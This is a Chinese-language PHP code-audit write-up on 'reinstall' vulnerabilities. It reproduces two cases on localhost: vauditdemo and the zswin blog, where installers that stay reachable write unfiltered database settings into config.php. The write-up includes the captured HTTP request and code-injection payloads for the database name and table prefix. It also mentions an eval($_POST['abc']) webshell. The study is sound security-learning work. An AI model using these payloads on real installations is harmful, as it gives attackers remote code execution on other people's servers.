PHP代码审计之重装漏洞

重装漏洞

根据大佬们的总结,重装漏洞可以以下几种类型:

  1. 自动删除这个安装文件

    通过生成一个lock文件来判断程序是否安装过

  2. 根本无验证

    安装完成后不会自动删除文件,又不会生成lock判断是否安装过

  3. 安装file

    直接用GET提交step绕过,直接进入下一步

  4. 变量覆盖导致重装

    可以GET,POST,COOKIE 任意提交一个变量名$insLockfile,给其赋空值,覆盖掉$insLockfile,从而让file_exists为false就不会退出

  5. 判断lock后,无exit

    判断是否存在lock文件,如果存在lock文件,就会header到index.php,但是header后并没有exit,所以 并不会退出,类似的还有javascript弹个框

  6. 解析漏洞

    在安装完成后会将install.php 重命名为index.php.bak,但是由于Apache的解析漏洞:如果无法识别到最后一个后缀的话,就会向上解析,那么就又变成了php了,然后结合安装时的变量覆盖又成重装了。

  7. 满足一些条件不会退出的

这次复现的两个漏洞,都属于第五类。当页面跳转到主页之后,原来的php进程依然存在,导致可以重装,而当配置信息没有经过过滤而被直接写入了文件当中,就可能会导致getshell。寻找此类漏洞应该尝试去跟踪配置信息的最终去处,并检查是否有过滤。通过构造闭合语句利用漏洞。

复现 vauditdemo重装漏洞

漏洞复现

访问 http://127.0.0.1/install/install.php

提交数据库信息,用brupsuite抓包。(为了便于演示,我将header()语句注释了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /install/install.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/install/install.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
Connection: close
Cookie: PHPSESSID=jfjge50g22ieqm7ib5ia1quf73
Upgrade-Insecure-Requests: 1

dbhost=localhost&dbuser=root&dbpass=root&dbname=vauditdemo&Submit=%E5%AE%89%E8%A3%9D

将dbname修改为:

testdb;-- -";phpinfo();//

提交。

1_install_success.jpg

跳转到index之后可以看到phpinfo()信息

1_phpinfo.jpg

复现成功

代码分析

平台的install.php安装页面, 安装之前会有一段验证是否已经安装的判断语句:

1
2
3
if ( file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock') ) {
header( "Location: ../index.php" );
}

判断安装生成的lock文件是否存在,如果存在,就重定向到index.php

但是这里存在一个错误,当页面重定向到index之后,并没有执行exit语句来结束进程,所以install.php的进程一直存在。这时如果用brupsuite抓包,提交的数据会被判断语句之后的代码所执行,就会导致重装漏洞。

判断语句后,获取了一些环境信息之后就通过POST方法获取数据库的信息。

(代码经过省略)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
if ( $_POST ) {

...

$dbhost = $_POST["dbhost"];
$dbuser = $_POST["dbuser"];
$dbpass = $_POST["dbpass"];
$dbname = $_POST["dbname"];

...

mysql_query( "CREATE DATABASE $dbname", $con ) or die ( mysql_error() );

$str_tmp="<?php\r\n";
$str_end="?>";
$str_tmp.="\r\n";
$str_tmp.="error_reporting(0);\r\n";
$str_tmp.="\r\n";
$str_tmp.="if (!file_exists(\$_SERVER[\"DOCUMENT_ROOT\"].'/sys/install.lock')){\r\n\theader(\"Location: /install/install.php\");\r\nexit;\r\n}\r\n";
$str_tmp.="\r\n";
$str_tmp.="include_once('../sys/lib.php');\r\n";
$str_tmp.="\r\n";
$str_tmp.="\$host=\"$dbhost\"; \r\n";
$str_tmp.="\$username=\"$dbuser\"; \r\n";
$str_tmp.="\$password=\"$dbpass\"; \r\n";
$str_tmp.="\$database=\"$dbname\"; \r\n";
$str_tmp.="\r\n";
$str_tmp.="\$conn = mysql_connect(\$host,\$username,\$password);\r\n";
$str_tmp.="mysql_query('set names utf8',\$conn);\r\n";
$str_tmp.="mysql_select_db(\$database, \$conn) or die(mysql_error());\r\n";
$str_tmp.="if (!\$conn)\r\n";
$str_tmp.="{\r\n";
$str_tmp.="\tdie('Could not connect: ' . mysql_error());\r\n";
$str_tmp.="\texit;\r\n";
$str_tmp.="}\r\n";
$str_tmp.="\r\n";
$str_tmp.="session_start();\r\n";
$str_tmp.="\r\n";
$str_tmp.=$str_end;

$fp=fopen( "../sys/config.php", "w" );
fwrite( $fp, $str_tmp );
fclose( $fp );

可以看到,页面通过所提交的dbhost, dbuser, dbpass, dbname来获取数据库基本信息。

在判断数据库信息是否符合安装条件之后,页面将一段判断是否已经安装的php脚本写入到config.php里。

问题出在其中的一条语句:

1
$str_tmp.="\$database=\"$dbname\"; \r\n";

可知,dbname是可控的。

当我们将dbname设置为:

testdb;-- -";phpinfo();//

-- -     是为了注释掉后面的sql语句
";        闭合php语句
//        注释掉后面的php语句

config.php里的语句就会变成:

1
$database="testdb; -- -"; phpinfo();//";

也就会执行phpinfo(), 当我们把phpinfo()修改为:eval($_POST['abc'])就可以直接getshell;

zswin博客重装漏洞 getshell 复现

在百度上直接搜到的一个重装漏洞,博客系统有点老了,但是拿来学习还是不错的。

参考:https://shuimugan.com/bug/view?bug_no=119025

漏洞复现

在已经安装好的博客,直接访问:

http://127.0.0.1/zwin/install.php?m=install&c=index&a=setconf

不会跳转到主页,直接进入安装向导页面。

其他地方正常填写,将数据表前缀改为:

zs_');phpinfo();//

2_tianxie.jpg

点击下一步,数据库就可以创建成功

2_chuangjianxchenggong.jpg

之后再访问:

http://127.0.0.1/zwin/app/user/conf/config.php

2_config.jpg

可以看到phpinfo(),把phpinfo()修改为:eval($_POST['abc'])就可以直接getshell;

漏洞复现成功

代码分析

存在漏洞的页面:

install/install/controller/indexcontroller.class.php

页面开头存在一个index()方法用于判断是否安装成功:

1
2
3
4
5
   public function index(){
if (is_file('./Data/install.lock')) {
header('Location: ./index.php');
exit;
}

根据参考文章的说法:

但是这个不是类的初始化函数所以不影响其他方法的使用。

我在页面当中没有找到引用index()方法的语句,应该是ThinkPHP框架的一些固定用法吧。这个问题等后面学习了ThinkPHP框架后再说。

继续往下看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function finish_done() {
...

$auth = build_auth_key();

$config_data['DB_TYPE'] = $temp_info['db_type'];
$config_data['DB_HOST'] = $temp_info['db_host'];
$config_data['DB_NAME'] = $temp_info['db_name'];
$config_data['DB_USER'] = $temp_info['db_user'];
$config_data['DB_PWD'] = $temp_info['db_pass'];
$config_data['DB_PORT'] = $temp_info['db_port'];
$config_data['DB_PREFIX'] = $<strong>temp_info</strong>['db_prefix'];
$db = Db::getInstance($config_data);
$config_data['WEB_MD5'] = $auth;
$conf = write_config($config_data);

...
}

可知,在finish_done()方法中,有一个函数为write_config(),所传递的参数为数据库配置信息。

而这些数据配置信息,都没有经过过滤或检查。都是直接接收POST数据来进行传递的。

跟踪这个函数至:install/install/common/function.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function write_config($config, $auth){
if(is_array($config)){
//读取配置内容
$conf = file_get_contents(MODULE_PATH . 'sqldata/conf.tpl');
$user = file_get_contents(MODULE_PATH . 'sqldata/user.tpl');
//替换配置项
foreach ($config as $name => $value) {
$conf = str_replace("[{$name}]", $value, $conf);
$user = str_replace("[{$name}]", $value, $user);
}

//写入应用配置文件
file_put_contents('./App/Common/Conf/config.php', $conf);
file_put_contents('./App/User/Conf/config.php', $user);
return '';
}
}

可知,函数的功能是读取sqldata目录下的两个配置文件,将传递进来的数据库配置信息分别写入到两个config.php里去。

先看一下user.sql:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

/**
* UCenter客户端配置文件
* 注意:该配置文件请使用常量方式定义
*/

define('UC_APP_ID', 1); //应用ID
define('UC_API_TYPE', 'Model'); //可选值 Model / Service
define('UC_AUTH_KEY', '[WEB_MD5]'); //加密KEY
define('UC_DB_DSN', '[DB_TYPE]://[DB_USER]:[DB_PWD]@[DB_HOST]:[DB_PORT]/[DB_NAME]'); // 数据库连接,使用Model方式调用API必须配置此项
define('UC_TABLE_PREFIX', '[DB_PREFIX]'); // 数据表前缀,使用Model方式调用API必须配置此项
?>

除了DB_NAME, DB_PREFIX可以修改以外,修改其他的数据配置会导致数据库创建失败。

所以,这里可以利用的就存在两处

将DB_NAME赋值为:

zswin1]');phpinfo();//

或者将DB_PREFIX赋值为:

zs_');phpinfo();//

都可以利用成功。

/App/User/Conf/config.php就会变成:

1
2
3
4
5
define('UC_DB_DSN', 'mysql://root:root@127.0.0.1:3306/zswin1]');phpinfo();//'); // 数据库连接,使用Model方式调用API必须配置此项

//或者

define('UC_TABLE_PREFIX', 'zs_');phpinfo();//'); // 数据表前缀,使用Model方式调用API必须配置此项

sqldata/conf.tpl也是一样的步骤,只不过user.tql可以更容易闭合语句。

遇到的问题

  • 对框架的结构还是不太了解,是否调用,如何调用也不太清楚。需要去学习一下框架的基本知识。
0%